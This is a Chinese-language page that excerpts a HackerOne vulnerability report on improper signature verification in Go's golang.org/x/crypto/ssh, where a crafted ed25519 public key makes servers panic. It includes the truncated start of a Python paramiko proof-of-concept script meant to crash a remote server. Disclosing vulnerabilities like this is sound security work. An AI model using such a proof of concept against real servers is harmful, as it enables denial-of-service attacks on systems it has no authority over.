Signature Verification /// golang.org/x/crypto/ssh
该报告还没有中文解读。
原文摘录
摘自原文(2297 字符中的一小部分)
Summary: Crypto package are vulnerable to Improper Signature Verification " An attacker can craft an ssh-ed25519 or [email protected] public key, such that the library will panic when trying to verify a signature with it. Clients can deliver such a public key and signature to any …
原文中的代码
# This should cause a panic on the remote server.
#
#!/usr/bin/env python
import socket
import sys
import paramiko
from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST
if len(sys.argv) != 4:
print('./poc.py <host> <port> <user>')
sys.exit(1)
host = sys.argv[1]
port = …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Sifchain 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @dpredrag · 版权归作者与 Sifchain 所有